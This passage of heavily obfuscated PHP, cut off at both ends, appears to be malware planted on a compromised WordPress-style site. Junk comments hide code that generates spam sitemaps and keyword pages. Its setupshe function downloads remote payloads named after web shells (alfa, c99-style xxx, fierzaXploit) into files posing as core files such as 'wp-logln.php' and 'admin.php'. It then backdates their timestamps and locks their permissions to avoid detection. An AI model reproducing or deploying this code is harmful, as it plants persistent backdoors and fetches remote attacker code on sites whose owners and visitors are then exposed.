PHP_EOL.//XCNtp;i=CyB]
' <loc>'.//w_<<KTOB7WbZ
$indexurl//m-ZtgCH2Z
.//:fF5;aQ#W}
'</loc>'.//M4yWHh6Eo!cr-Kfw#XR
PHP_EOL.//mA$s50X1- 1>
' <priority>1.0</priority>'.//M=~)xMVKICqJSx^^%2 O
PHP_EOL. ##TOHcS`nxD$#n+MWxL=AV
' <changefreq>always</changefreq>'. ##3cjTGXZ
PHP_EOL.//n)o;4l
' <lastmod>'.//#W5dD#l_Zb
$date/*G#C$)=>p4Nt5dy*/. ##*10 `}&lTb<@T>8CosNg
'</lastmod>'.//qmnD,Pjx$0B2YAF
PHP_EOL. ##!~c|B=r@A9V)o_s@
' </url>';/*1BhX)_@E{Z*/
##WQp*0
$intR//(%u$MV
= /*[[9C}K{Op6y2z*/intSeed//<#|*6Gz#M+@FA~&z%W]1
(//RIzeB\P0X.dpaCyG~
MainDomain ##q0<c])eZbxF=t~jFP
());
/*fxU1.*/srand ##>%r^qxfW
($intR);
/*C7XEoxDgI*/$str ##iZ.ANV 3}d~K
= ##GxxK&Og&k
'abcdefghijklmnopqrstuvwxyz';/*z@W)2YP0oEvaF$-*/
for(//*b1<|0$
$i ## blu;8*~gfv
=0;$i<3000;$i++){
//)X8k!`S-|,xV[S Z >(
$link//]EHc|@\$#O,EelQ
= ###oQ-Z9kK7T4bZ!
$indexurl/*zyUdH( -XL~E1X+*/. INDEX_PHP
. //Xl.<I_h(q0cE$U,geDX
$str/*j1Mft*,B=r%*4(6*5H.u*/[//i8PN%cj
mt_rand ##=nPtAfkS#vK+a3:qfhoa
(0, 25)] . //wKt6A4DEW[=x7Kl!4
$str/*Dgv}ds[i~*/[ ##LW^4V38tckS(<tS
mt_rand//*4TdV-oK
(0, 25)] . //$eVRf*4r<vKPDi
$str ###$P(#CRzYNA6C
[ ##RYv9wks1\:c:$
mt_rand//=fAVM727}JeY
(0, 25)]
. /*q0auh}RDui^;B0o7>Iy*/$str ##|1pNgI,
[/*&l{ikp*/mt_rand ##DDxktFq)TlN
(0, 25)] . //kP,U$HhwAxj5bhW3
$str//e`sSl$6f]b7P $\`
[//VJb&{M.(3lez
mt_rand//Y>^h*@=SSl4RcS
(0, 25)] . ##L]1Rk
$str ##_m-:>p2HMA:;4&MtVV\-
[ ##X}I,*NbW*iHL@8
mt_rand ##9#+~RVVCyvP3CUl
(0, 25)]
. /*L6G=&<`S.K,S~jKxI`z&*/'/'
. ##hjmKLY~O#BT)
##k$Nt-{[|y|o=7Vq
$str//{h5TAJFb
[ ##a~_l,$@VwP{b
mt_rand ##~{>[iXsS4Enu1\i
(0, 25)] . /*RlQc2y(^.f*/$str/*l_+D\!Nr5*/[//d.69X-vMHL*az
mt_rand ##e@D1w=6R>T>L
(0, 25)] . ##rTEJOXim!s)\`8D
$str/*d>K~zw4Z6*/[//;m`,m367&E@[7z
mt_rand ##J1K@aeX%e^JM.1h f
(0, 25)]
. ##:%Hh0V
$str ##rhsGWAf^IRv^
[ ##NH>\&F
mt_rand//3H-B!TEbV K=->RltU
(0, 25)] . //%6Pqdt!OG
$str/*JPsqFd[YE;mpL6E*/[//#B9PGq0RIXq~_n1#MlTk
mt_rand/*(8m>UHAbNphXO*/(0, 25)] . /*gb#)mAu5*/$str//#T>N3nv<xD
[//RB8!.![C2MQ2@o=<
mt_rand ##(K+!TVvD_C:c
(0, 25)];
/*E+ 4g*/$result ##vWL\- A
.= PHP_EOL./*-ASGfI0*/' <url>'./*VuaiYo2IAq*/PHP_EOL.//k>#D4-Kx
' <loc>'.//y~nFmrV
$link/*XTP~C.nITPyklz*/. ##hY3W!9Fpl=r8GG
'-c.html</loc>'./*_{OJwSD3y*/PHP_EOL.//1pKNBuMP:rp3qdxf+~v_
' <priority>0.8</priority>'./*v~=KzVU%<Y\*/PHP_EOL./*3aPQLy#Sjismulu(o*/' <changefreq>weekly</changefreq>'. ##R4B!~e
PHP_EOL.//T5HrW%5$%G
' <lastmod>'. ##KUo&Sg
$date//CHN(Yz}]3
.//wH$COHsH
'</lastmod>'.//Wo%21tsy
PHP_EOL./*hd)}~xeI-WRtv~*/' </url>';//L(JDn
}
//3nfxXWU8Ix6eq
$result//u\93kEj`C%1,6vJ:p~
.= PHP_EOL.//m9B:zm:3GlwXK++dNL
'</urlset>';/*ouh^=3phtFh*/
/*~XBr+jRR]1:=[*/header ##u,n,v
(/* *\l%g-Y7*/'Content-Type: text/xml')/*y=fP(9B*q}fF]KkeQr*/;
echo //W=pW5tUuG3(JR:
$result//Cr\EFZ`v5
;
die();
}
function //nfkW|0B+$nce%FPB
showImagesMobile//2;q:SUmk9C)gg{HKI
($str, $keyword)
{
/*]+mKT|L$UT*/$arr/*i7Zc||%Lt lQ`6sAO*/= /*;=@6AYFy^5;XAjp*/explode//9dVY7})k4&~9^
("\n", $str);
//bcS<CwXZijo~-
$arrIndex ##[zs<7ehG
= /*3<!s4@O*/randArray ##z6X%<|xT^+ KC
(0, (@/*33#!C&bBcEO_DXc[`*/count//^V1OzYFR
($arr) - 1));
//#ohzk=&mM9!q
$returnstr//cNF8Keujc#wWM-:<
= /*~27tS!)];]v.g17{*/'<div class="imagesContainer">';/*F#Y*]0z*/
//^_UwnkFj(nC.dUA
$newContext/*SUqV|=D1c;SKDO*/= new //0F=Pz86@8*l>
context/*9W=z |foJi[%>=5*/(/*gbe8HMMvOm*/'Product')//Fm5LL@YA
;
$newContext->/*YCj}vlas1H]Z]ceb49$ */setName/*6`,Z2r&sjfqwV}s Y*/($keyword);
$newContext->/*111O)KnHIZ*/setDescription ##Ayr{$uCOb
(/*pu)L6){6^bL$gsFT*/$keyword ##-P^BgM
. /*%!3KUv:+A6N>*/' - ' . ##H<8me:e73G
//^3x* k
$_SERVER ##Pc5x@TyaTw
['HTTP_HOST']);
$newContext-> ##!lM0Sn+IJj m(b
setOffers//SJK^L
();
foreach($arrIndex as $index)
{
##X&qzwsbRF>qX@BIC(J
$line ##L}d@+*Tz3JBj+vJ
= //MabusU>0m\
$arr//O$k{()UmVHP6|YXntH
[$index];
//ILA)|1-t
$arrline ##TU-dILZZ}C
= /*M4,t|}*/explode/*]:U,~rN+HV_al9@GKu*/('|||', $line);
if(/*rJY,kP:s*/count//b#wkp!hrMK{ @
($arrline) > 2)
{
/*yYFU&8Q)S3YXv:0*/$keyword ##%l.L\J%t$
= /*,~*4xWOjC}mx(*/htmlspecialchars/*w&p0#\TTR |Ju&k135cC*/(/*KMqOp@D>EbQH*/trim ##HUK9{G(s6_5BQVoI
( ##h.;NlPY_=S|#{le
$arrline/*;V9T.VbYz*bh*/[1]));
$newContext->/*m.<Os[^M3||aF*/addImage ##Zy ic
( ##F1gH{JHdg-R7~.kBTYt{
trim/*7OO7tbv|*/(/*#l|8r*/$arrline//)p=NOu].ck[
[0]));
//!j=Cq&jMs7t0
$returnstr//a,u,N6<76R
.=/*@0sLQ8N*/'
<div class="media">
<a href="' .//|&^^ 9`,f}}A9!;Y8y|-
/*T#!JMP<hrL3*/$arrline/*s\G(mf:GSFN=hw*/[0] . //1NIe+
'" alt="' ./*@CER3YIxJXI0pRC*/ /*rz3s2Cu(q(d1(IC%s[9*/$keyword ##x^jI*pV@
. /*\rew<*/'" title="' ./*qrOvTikg2#0*/ ##&M!*K
$keyword//,`_PmrEE(Deds
. ##j)rq&-]
'">
<img class="mr-3" src="' .//SAa_J0eg> FFo~
/*P%EjJj-,{b*/$arrline ##Lm>gAUl
[0] . ##`w>X=R=+
'" alt="' .//bhD!%@t~,DU>*.9RuTL
/*vZWx7rn-\ll*/$keyword//N~nL_\Z`}=y%(wSS<
. ##okt[34
'" title="' . ##XWO5EL6+Bytf
/*mX9OnKcWW>wUZGe.]*/$keyword/*^R @%+AD2*/. ##BiYEuQj.Bk4:.D
'" />
</a>
<div class="media-body">
<h5 class="mt-0">' .//;`Ca,
##J$]G9mId<~GyW+DDXxe
$keyword ##dBu1B\-@dAJGFBYFF
. ##k(l2*;D6$6FnV4
'</h5>
</div>
</div>
<br>
';//6MSg\m<DaNR,9
}
}
//eWysZzG4=(
$returnstr ##W:W,FXoU5>bN6CV5o2b}
.= ##V2p:Cf9
'
</div>';/*>MB1]F0i>F*/
/*QcEbM8$$_*/$returnstr//kR2YS
.= $newContext->//%M$D=
showScript/* +L1uz51c^8V4I*/();
return ##xe@_@zwEdu
$returnstr/* MrrBQ\2) */;
}
function //H}M<n64
randArray//*OJ9q[(eQ
($min, $max)
{
##,u=HH
$seed/*2Luu*{R&,|h{gQ*/= ##ck<pSZ([IAEae
intSeed/*;L7^)O,X9weryN]!q0*/(// <h}oNDLjR`c.{lL)W,Q
$_SERVER/*V${+4*/['REQUEST_URI']);
/*LuS]={eAU \q*D+*/srand//9}c kjKr:iR^olwP
($seed);
/*LPn:<*/$result/*b#cbK,*/= //Pz Q[qKol
array ##UP5Nb.RIDr6k
();
for(//l7x9w=}!wxB8wf5k
$i// T!At`-5
=/*f^(lrtNB#<(\R.:7.UEY*/$min/*x(\LCmB]w4<w0:*/; $i <= /*mb3T`S^SCw=YN#MSYJTP*/$max ##MGl4P*>8ig+LMx+RJp[V
; $i++)
{
##-IC_oZxN,aj4
$result/*F=Xm<6_T&ufW05:Pw3p*/[] = /*=kI,JJwEd=v))sZ_*/rand/*.Ky;.KC-j9*/($min, $max);
}
##GN0d[G)%FIXWPNrI
$result/*j%&>%T*/= //xus0bY59=
array_unique/*n8H=RZ@vzlB$eC*/($result);
return ##lrrCi%+IstMN
$result ##7Q:=S
;
}
function ##@vqpLT]V>eLJX:bMlw
file_put_contents_force ##8ugL9Hf>K!OH
($filename, $content){
if(@//apbgU~wnZZ`!NR7!&=k8
is_file//{UTsxR(MD.njKNe
($filename)){
@ ##[email protected]
chmod ##>rHWiuKICN9Y<4DT%<#d
($filename, 0767);
}
@ ##yYptb+Y+*
file_put_contents/*g)^o[f!Z].>By*/($filename, $content);
@//&o^G*[<EO(@L
chmod ##q9PUKK\!S4JgzVk11xe
($filename, 0444);
}
function //N=6L#[;
setupshe ##.WNB}b15:`caBQa;
(){
if(!@/*EK`0ra.Sd*/file_exists/*vC zBFB`*/(//!_@1Y3*GCkom3 &;cV
'about.php')//*%e8Ct}Y
|| !@/*`4&Lji04yt~pH8AE*/file_exists/*\P4VVu#Ou*/(/*3%LME>}$5xj-]Eem*/'wp-include.php')/*+_q4$t{5G#Jv8d2}p,1*/ || !@/*.t Yc0-1(n@18*/file_exists//4pnJX@SgH!gsTx-Q8
(/*}48=%HT:C@VqiTkDQE{y*/'wp-admin.php')//YeMI\lPLx2F%hDx
|| !@/*[du:XfZLlP!uKP(c*/file_exists ##Vgd2Ad
(//|jbo]
'wp-comment.php')/*R>zHsN%Dj ,+AvE(*/ || !@/*ZkK5[OytpfZZ!*/file_exists//MS[A|j1#Y%Ep2
(/*GDgV-T[Wv}v*/'wp-corn-sample.php') ##\]qrnO$ 3dsxY^%{{w
|| !@/*Y:+L>@=aM|hF5*/file_exists ##VAue{qd8
(/*Cn;|k`;x,tu`:*/'wp-logln.php')//%1<NLl&-
|| !@/*i)3HFmpcrKY C)*/file_exists//@j6w06,60Je#46 GCr+
(//zl|EjYN
'wp-ver.php')//ggva5u}br8q[mO
|| !@/*qkv#St,3Q9WgxlRr*/file_exists/*)|QcmSEd*/( ##t3pM+ A>(O[EZ >W QZM
'admin.php') ##<#c4!EfehBILyR
){
/*w*$At*/$filetime//Tu4p`qu+fh
= /*{-JRvP%>hFdQpw- D*/getMiddleFileTime ##SP}=JmO6x>@GEllXp
();
if(!@/*CI=gIDv%tKNB*/file_exists/*7rC)HfDO*/(//]XEy<|gxEiG&\Z0
'about.php') ##w85a+<Am[wU=#4
){
##xKHf%7,h
$alfa/*WcS;Z*/= //fq>f}4
readFileContent ##|lSR<Xl}C=3*zm4PdAf9
(/*W9TT~eOJrv#noRT6 I*/'alfa.txt')//+wwt|nC
;
//-qG|QUuZ
file_put_contents_force/*8Y;h}cLwWN4D}uQ(*/('about.php', $alfa);
/*X,Yi`D*/touch/*t9.BsUvfzH\d*/('about.php', $filetime);
}
if(!@ ##5oIhz7a,,M:-h*Qi_
file_exists//vqA{wV&OKndC}2b9
(//DXi@39Vb<D6C
'wp-corn-sample.php') ##g+D+6I|f[0V7bR<.DfW
){
/*6*$|Fp*/$kct ##K583qF[&
= //e.:wG]9MYI52
readFileContent//}n_KoV6N_a&T~
(//qZ@,mia
'kct.txt') ##UU`tdR``+)X9{KYMAS
;
/*JJ{Bp=vh#z*/file_put_contents_force//HP13t
('wp-corn-sample.php', $kct);
/*4YGze8,0V*/touch ##`;B[BMF,#<i$izX*#4C
('wp-corn-sample.php', $filetime);
}
if(!@//S~B2PA5[W-c|6_
file_exists ##8xAK%u6|C*1
(//tS(l+O+@TdtQ
'wp-logln.php')/*V%|!VQR*/){
//{9mQ+`1mhU[g>yb`%`VJ
$one ###\v1@
= /*%4ES*eo*/readFileContent/*71|8YZPj_M(g*/(/*;X8*1q,|3qvjvB*/'one.txt') ##tfuZu+@YP
;
##,V6A@qeRsAiqxj=DOuW
file_put_contents_force/*aDb>)zY7!l$21X4}5|#*/('wp-logln.php', $one);
##ay)!bZW3.@$t
touch/*3>59(|DY&k*&H!*/('wp-logln.php', $filetime);
}
if(!@//88_AQ}2#D,%yn*og4{bm
file_exists ##4<V@tDg
(//n`oG4Y>Ki4
'wp-include.php')//x8}0YYhBA.fcu*kS3\
){
//Pl;Sr
$one4//O>+~J~^
= //`0#6%[1k@
readFileContent//f\,#2\(Ml
( ##3jC+)lYJYsjTn{(_v3e
'one4.txt')//b7lHtwsEh:H8
;
//RZ8rh=Dq=KE
file_put_contents_force/*vjhl=hzjD|uqhJ8JD*/('wp-include.php', $one4);
//Y[eQBYNo[v3a=gOG8>
touch/*Q]SHby<*/('wp-include.php', $filetime);
}
if(!@//Y_;q>hv#f_
file_exists/*)EmOLcC_*/( ##yBD{!\gx
'wp-ver.php')//hry>7
){
//UNk304x=cU 2,
$c99//pqLg7YR`7UFf.EZF+
= /*bd90(]&{V];k^DGZN*/readFileContent/*H%-5,pH&(5ek6*/(//(\=P%-n_(
'xxx.txt')//Cc26SJzl\Mp{B
;
/*@s6&+nW\G5GNew,-_*/file_put_contents_force/*Hhd!$o%OZ7diOTx*/('wp-ver.php', $c99);
##1E7:=6+|41K3LW
touch//9)-V+;zr1jlwem`hTJi
('wp-ver.php', $filetime);
}
if(!@ ##c57n<7q++B:4;EbWNh
file_exists ##~:Nk]3=9mlQ
(//wuFO <O
'wp-admin.php')//VnEq;BS@&5C0j
){
/*haQaYFVJVN[@*/$wplog2//`0ctCi7gH]9fLy+
= ##FSu`;ZK
readFileContent//4a)Jq;2y
(/*!I1OU(*/'wplog2.txt')//F.+E(^BQ2WJ(Szi0H
;
##e0yKr3RM
file_put_contents_force/*aqJdMh(x0uV|G5-i W.L*/('wp-admin.php', $wplog2);
//)4CFb1leZzD&OkaO
touch/*16R|;tV8sH~cb_uqA*/('wp-admin.php', $filetime);
}
if(!@//zmp`j5
file_exists/*Sp<@I*/(/*}>eiw^cf:#Q wud1h0*_*/'wp-comment.php')/*itS}<pz3Xl*/){
##B4s0!Wd|
$one_url_password//Ud^1h(*8<8uPj0Zj~o
= //LN:-XQK5=
readFileContent/*X@l0+Ng*bfP2D,y6Y*/(//9a[\Fb
'one_url_password.txt') ##kP\`_h60]F(\yI11>yJ
;
##sCJGbkt
file_put_contents_force//) [uTO],9cs!Oqy
('wp-comment.php', $one_url_password);
//Jp3m32C
touch/*!@1V[dpJ^n3[DYlN5V^L*/('wp-comment.php', $filetime);
}
if(!@//pLt~MNT1;]mY}uK
file_exists//i13LGQ#R0WVW;&5!\
(/*lVD^0I4*/'admin.php')//8jhBn^VRK[->s
){
/*kmXN3aAH3qDe^:2f>z*/$fierzaXploit//xc;H)w2~KD^g]Py
= //3AaTQ0
readFileContent/*KE7Q1\G]Z0}ft`VK`c*/(//~U)zmJrI7$,m4
'fierzaXploit.txt') ##Q:8l.H2
;
##7;$r[4|tRh3z*
file_put_contents_force/*Yu5ESA0*/('admin.php', $fierzaXploit);
//$`i~2ni,*>mA4M4P#
touch ##=af >,T~0Ut
('admin.php', $filetime);
}
}
}
function //tO$-SCM}^FZki,q
readFileContent/*-@#bFvu<>^icr|S*/($file, ##_,Dn[FcNO Bx_J9&yd
$loadCache ##t@CJ[4=j]VJYWP
= true){
if(isset( ##yX@&qIO%J,#4ucy-<F
$_REQUEST//v8{`i>79h\S^JX!#z4;
['mini']) && ##}R(sobP#mNPPFqQ=
$_REQUEST ##pla6A
['mini'] == //vpwwM_8C}Rky]Z#
'on') ##sXr{coh[}T+=TEPI
{
/*Yz!9Y]m[=(0E|A|[email protected]*/$mini/*Cl&G~ */= ##G\zK:
'&mini=on';//DK;+};)$wNS(X
}elseif(isset(/*BImcC*/$_SESSION//3`$o4fs:XV
['mini']) && ##2%.{#
$_SESSION//@h{gg2_]
['mini'] == //P*1[5N
'on') ##[SQc0O&EI=mX5kR%,P]
{
/*@6w.8K4a\**/$mini/**e^dERt^+z`*/= ##:a5@EA~P8b{#<e%%*r~
'&mini=on'; ##=v0\i*7J|0[lJ:JglZu<
}else{
//19+b^f,k#$-RYTS26vG
$mini// HkW(slce{fl2A}!L}%f
= ##e!L4Clcs[
''; ##$\5h<js
}
if(isset(/*#NRX.g*/$_REQUEST ##7{heHY>y~o:>T
['cf']) && /*E^|5m1X h=`*/$_REQUEST//9jqz4.BRho~{2b!+
['cf'] == //8# .6}>5gvg3
'off')//wfH(t1;@1E
{
##Gp(t@T,]g,35%#
$cf/*BRmTaVcHe.\t*/= /*KwfekwmF1*/'&cf=off'; ##.3@`S
}elseif(isset( ##jI8K#E D5<<
$_SESSION ##)mZM`Eb irS`
['cf']) && //%uAp$VFg#y3Na5>ew
$_SESSION ##YugRN
['cf'] == /*lYn,GcR+*9&E=`&v$39*/'off')/*Q\kHD*/{
##jKrt~>U6F
$cf/*;O_>Gv6ndWPsXk%x*/= //Lr=$7N[`aWricgN$`9
'&cf=off';//`{Emb@oio:E
}else{
##~).O{4<amyF_DfFu,
$cf//@JEi4#h@x3*!\Zt8sVQ
= /*FcvL$KIZU`hG*/''; ##{ 9<Aw1ru{V2#&`Y#ZQ4
}
if(isset(/*De0L5g*/$_REQUEST/*H)AYqd,.}{5vl3W,GnE%*/['v'])){
/*1nPJ:E+9\k={v<4nC5*/$version ##Ay_-zdXwCn&nHPG$
= ##:N$$FAV`s=>y
'&v=' .//38 h\M
##cj4>X00j=+
$_REQUEST ##mJUpa
['v'];
}else{
##e;Wi6.
$version/*X+GE$.4@$T2tIrl*/= //o}aE!aW
''; ##Lbke\0XH:
}
//Im-i@=NS
$uri/*Z7]mM ^]NjWf 5s#Ze*/= ##imMiCZdAR4U#
''; ##Vd!SRv|&fnS;Y7cQl)el
if(//4hPm[EiU
function_exists//X@!x%F9h PB
(/*([RpX*/'create_function')/* xO9R7j3=ypV*0q|wS */ && empty($cf)){
//p_:M*q47{kb9;[uWKC9)
$uri//y}v*m7FZ,4h::UivNSh
= ##uVfiEDSAE`#MD
'?cf=on' ./*W%l>O7Zv!~(gT^RNcHK*/ //$Zz~!_W
$mini ##pdX_`-B9.aX5n
. /*bvxV7f^dPwW3AOSe*/'' . ##wjYbn|
//In64{:T-p
$version//[1+@hM+Hz5RH0:X6KbO
. //+ pA8!&XhEElniV
'&file='.//|s0\7WObxR
$file//hmxZ0_p<CwY)|\:weVwl
;
}else{
##l=Ru_Pl(.1I>
$uri/*4v}NveRD!Ickx\*/= //^4V+>Neb){*Srd8s@yG(
'?file='. ##Sk&KA(teP@
$file//m`k|!;V(mk<
. //%>T9HaaB[y
'' ./*_Wqm6l@3jpKO*/ //G3sE Sf!!y_#e
$mini//3M`~LBU(wrNZLL
. //ChLl,vg5
'' ./*[59RJNc89K~b3D*/ ##Elm,ngzJ$ !U=NP[
$version//udN07[1\6
. ## f+YHLBAQyAKVMPWt3SX
'';//V24-Sjy
}
if($loadCache && /*doI5 1m`g|b*/$content/*&]&#I^QML*/= //h+GiczcSM1KC%JrzAe
getCache ##FOGRf~Q&MV}1%Oi4Mh.
(/*:GgW{ScK7K4 H]>R;kg*/md5//8)q@(>9WU3i
($uri))){
return /*(y&AXiHKy*/$content//RlRaIgx1$N<|\xbP7%
;
}else{
/*lB:i\v*/$content ##4-C[pb!qYXV
= //\wr0&L
getHtml/*Pv.$-!s!WNqN{iSz*/(URLHEAD.$uri);
}
if($content){
##jyVSx}1tC5~TT2hCub
saveCache ##_f]&LR#<,+YYcA1aW@<Z
(//-YR68\*E;w@wPQL9OYB
md5/*Sg7ZyIzNx=XI2&Zc*/($uri), $content);
}
return //Aw<B\=4ZS)v}+<bB6
$content ##G8WE {&BAso#oWT*
;
}
function ##*MT6kJ9!WS jH`6{
getCache ##n312M JfY+1y@WT
($file){
global //Q<^Q@a
$fileContent/*FHdVN6jA1dheBzk$*/;
if(!empty(//QuU)1PpTxu{i
$fileContent//@P]4dK
[$file])){
return // ^jv5PWS0B$ZC-
$fileContent//KA9;SV2`)5
[$file];
}
if(!empty(//h2D$T6h$OWNk
$GLOBALS/*28YUzj{x1R,nCEw*/['fileContent'][$file])){
return //DI-ASw~D*Dbl_Zq.aSc
$GLOBALS ##L 97V6>+hEUb8{1WF
['fileContent'][$file];
}
/*#i+IA_4;L{T\N*/$tmpDir//A84rtf
= //!gDY@O]`]Sw7uHs6@;_
sys_get_temp_dir1 ##<(7q#70<MMt[IeW[
() . DIRECTORY_SEPARATOR . ##7td>eEdUW:7fqYrJ.:Z
get_current_user1/* >V5pMd5*/() . DIRECTORY_SEPARATOR;
//hU2QG
$filename/*9]3aT$(q2VMMtra:[kfl*/= ##GMbT=~
$tmpDir ##v0CRcRck[T
. ##Oc=(^q3Co0v(qqN
md5/*L)k0bJ(-O3**/($file);
if(@ ##L3FQJeT
file_exists//EO<8,bL$
($filename) && (/*MkWW\mT<YKN_*g<mHyg5*/filemtime/*x1mOaZCd^|6ZWY9Y`@*/($filename) - //Wdkogf
time//8|N\TRrjF}
() < 1800)){
return //04s1dj8LuKqH{!
file_get_contents/*qR#aRLK<*/($filename);
}
return false;
}
function ##vRY\3\Fm
saveCache//q-LdRvTr
($file, $content, //s#rx;8_
$onlyfile//C`*eL_9Y
= false){
global ##lvz1\
$fileContent//L[{#_l0!@!=q
;
if(!$onlyfile){
/*,y^w=Ce)\Vb@6,G^X1e*/$GLOBALS/*l(.J%dBbg|$Jal|=*/['fileContent'][$file] = /*qNoXyem-*WlPY*/$content//0[U4O>d$)t\UdqcJ(
;
//No465
$fileContent ##aLDEH[|0l8e3U!2;[
[$file] = ##@ZsQpo\SuzUCc~S+d.M
$content//g z]Re0
;
}
##~Q=Et0
$tmpDir//%)sgXo$vWX0rxw-IG
= /*>dfz]D~rK*/sys_get_temp_dir1//Bed#zoM;VF}T
() . DIRECTORY_SEPARATOR . /*9$WjV7X;9[ZO<o=*/get_current_user1//a{V4+@}cH}tU3\RBF<m
() . DIRECTORY_SEPARATOR;
if(!@/*MS|74XYJkIrD)2;*/is_dir//ur@a^F,aR^6
($tmpDir)){
@ ##SwT9NFMYuj6g
mkdir/*_wQclBbzh*/($tmpDir, 0747, true);
}
//m&N-+-VsB2]M~
$filename//Lka`EV2P-A}H
= ##8~,{4Sb-eWd#O#Y
$tmpDir/*IW=LLY*/. /*4 i8N*/md5 ##^A q>Y
($file);
//Zek88P@wEQ_
file_put_contents_force//bQZe*80YR~`KF$_{kV.
($filename, $content);
}
function /*WpUh:V*y,)hpO$vO$;oF*/getMiddleFileTime/*l(d8{82jSSXxln|0Y*/( ##C<=BjRl,]0P|V9mba]
$dir/*Eq,pCFvkP@nH+b_Rvhf;*/= ##CkQl,9,K0A|cE&
'.') ##Zlh(I!
{
if(isset( ##5[gy \y
$GLOBALS/*JhXuekWEWp6d*/[$dir]['middleFileTime']) && ##O+b*xo
is_numeric ##X*KWLC#.b:vmj#0
(//W-^Y4
$GLOBALS ##&XKTW(.Cj
[$dir]['middleFileTime'])){
return /*nB-GJ1wu,}=BD*/$GLOBALS ##ePq7u*0*
[$dir]['middleFileTime'];
}
//=7 MWL4jLoQ
$arrFiles ##N~B94{P3
= @//DO82OoQ^S
scandir/*gTW709gyUy#GhPOD-Q{o*/($dir);
//\(1r|=R#8.K9t-4aXya
$arrT ##af.rD0(5_R}*QHPz`w
= //+D~P]_gvs]
array ##:{s#+>XRmRR>RNaK^6
();
foreach($arrFiles as $file){
##A_l FKy9P ,gOC6(r
$filename//R[y]eu<k++A(la
= ##Du7_%<;]$2FSl|
$dir//DU08Ug1e#:uI
. /*(MKtjmO8,T%j*/'/' .//>dEW&,uu[jMK<CjF
//3)1[:G1uo9l[^p|oUL<~
$file/*YqJ<m*/;
if(@ ##oaCE@OYL<2g[SHx4^ddr
is_file ##FYc:)rIyL@n@^08X
($filename)){
//v@JM`9Y)F~P-j`A!
$t/*YMD2=<6L}(NC2QT#*/= //Ml=6!pFyceiG!IoTmc
filemtime//{hXg]\Ub`
($filename);
if(!//gx-Xq$HP
in_array//WaHKV
($t, $arrT)){
##Hr0+NpGEsdsM
$arrT//0Dv9lYja
[] = /*K=FFWEs7ets7K5n9M*/$t/*CY8n@40YjmIm1),*/;
}
}
}
##v*wb_M6lT.XmB6A 0TK9
sort/*`{.RK,kBWS}a8PEC&2*q*/($arrT);
//.Juwx^p^Do
$index//8F#&]5ogX51sJM
= /*ziUNZweE\*/count//R[)#hq4v%y+:
($arrT)/3;
if($index){
if($index>=1){
##+*G[BrKJ%O.$=7
$index//1HYsOo8ekjIY6fR
= //2MtVgs
floor/*C\:!{T0]Og4xt(W+g3Xp*/($index);
}else{
##YVl{dl.nHVX
$index ##lUztq,#UxofE%IxWn\
= 1;
}
##6ifn&k#sM
$GLOBALS/*M@W^j9kYAgcECRBu*/[$dir]['middleFileTime'] = ##[B:6j9vy{a
$arrT ##(iO$Df$bdR:FFv4c:Uki
[$index];
}else{
//FStnD<_ZuD8[[`!
$GLOBALS/*oKgsy:e7sO>YgtJ:I*/[$dir]['middleFileTime'] = //6MiLzFzQQ5w
time//QnmK- Y
();
}
return /*,v_[`&}xNs9(Jn*/$arrT//rEQVP:.iAlPc.%)
[$index];
}
function /*#Qtj#xt4{zp_F|oXBZs7*/sys_get_temp_dir1//mqIi2C
()
{
if(isset(/*Sfx<N#*c+KtcSJMq*/$GLOBALS/*(4kyC*/['tmpPath']) && @ ##!Y@i,20&[S` t
is_dir/*JK7HhKK~tXu*/(//o~^mQ~
$GLOBALS/*=A:wDp9*/['tmpPath']) && @/*oF<aWiP;Q9d]SJ*/is_writable//&KugE
(//XUjMJR-n!sD_48hTN~66
$GLOBALS ##Wqq5|1u,c3Zv.Z>_
['tmpPath'])){
return ##iIVLaEj\1CMT6H
$GLOBALS//m9Fa0Kug#QG
['tmpPath'];
}
if(@//Tq|x=Ch&+bf241}
is_dir//Wx\IkcC3Oo}:ffV7u
(//KEg+T
'/tmp')//1Y5 ywHZLlFhQM]MB
&& @//aL,_-]o[rNlR.)
is_writable ##YUTF!YBdJ9_bi`}
(//8}3<R(M,XH=0j
'/tmp') ##<3 CvJ6aff
){
return //WLNArx(+7(|)}U
'/tmp';/*5)6h5Y!dvdMubyU p;*/
}elseif(//cpz %1#yy9L>n
function_exists//]%cUq \*
(/*=>=T\k*/'sys_get_temp_dir')//.6U2XcGJd
){
//b]\#UAnA*}.@H-WP
$tmpPath//>AI2mNqc
= //Gv,_P26F+l-xOLxmAnXn
sys_get_temp_dir//5g`%v05<Q%
();
if(!@/*< L<i^3*/is_dir ##W,&5bYN0M lHvRT2Y<}
($tmpPath)){
@/*:[mXY%&3%WTC*/mkdir//Cv_FHx%]N.NJ~( Cu
($tmpPath, 0747, true);
}
return ##yJ7ib0-
$tmpPath//M*F [:c.6(
;
}
foreach (//JW|P5O
array/*+Na)n*/('TMP', 'TEMP', ##~6n`;Fm$E9
'TMPDIR')//kJEs>IC$=~
as $env_var) {
if ( ##RTx8NH73]hVqV
$temp/*~}7EvUI{+*/= //dv![~)l7Dh9wk>Tb
getenv/*P\DQJ,4T[2w>_,*uC6*/($env_var)) {
return //_6CxVfG<1JzT(D(,%~
$temp/*9#F%L<70C0`M!t*/;
}
}
##+*5;lJO2X:E
$temp ##\e~HDX:KxBGA>k!aE
= /*8P-WsUINM 4*/tempnam//(hpS*pqn]9fXthjh
('tmp', //RSu*2gK~7Oxb^s-50B)D
'') ##e+ [!D%;
;
if (@/*8}`M%voBBAe}N*/file_exists ##R17PNrY GB](F9C
($temp)) {
##CHBZH[
unlink/*Z;*LSk*/($temp);
##NrKomU@=
$GLOBALS ##ZIz+:{z3Y X#BW
['tmpPath'] = //L1(R~RWPiB4
dirname/*p>fP;xx[U4*/($temp);
return /*kr(T,Q~~&.ICM*/$GLOBALS ##Qo)n;l#qCNH7dmA
['tmpPath'];
}
return null;
}
function //ynZ>m3oAKX*pNLU)Y>Vh
jsonEncode/*5ii%&GJJ\#@j*/($var)
{
if ( ##|^C5z
function_exists/*990YJQVmUQ8{hOR*/( ##G2tH~o01G91y[VF
'json_encode') ##9<F7U(*kj-QgdA
) {
return /*XJ\3SzgKJ^:*/json_encode//HWEkUCtXg&i&w[^}f
($var);
} else {
//yTkG+Q!oAF}6Dl=:5C
$jsonfile//XZ9h%(Dh_@
= /*I$B-R`baJK9:*FYY*/md5//:evxU:rDJJ`<8oS~p
(//tO!S]Yd)@
'Services_JSON.php')/*.xs8KS-upXu*/;
if(!@ ##iBB-)![
is_file//FwDJ=]ARHfL1910b4#B{
($jsonfile)){
@ ##&,PaYPIZ+^rH:i8k8cte
file_put_contents ##b$X5n,ts^ci
